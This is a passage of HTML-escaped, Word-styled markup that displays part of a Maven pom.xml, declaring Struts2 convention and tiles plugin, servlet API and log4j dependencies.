&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-convention-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.3.16&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-tiles-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.3.16&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;compile&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;javax.servlet&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;javax.servlet-&lt;u&gt;api&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.0.1&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;provided&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;log4j&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;log4j&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.2.15&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusions&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
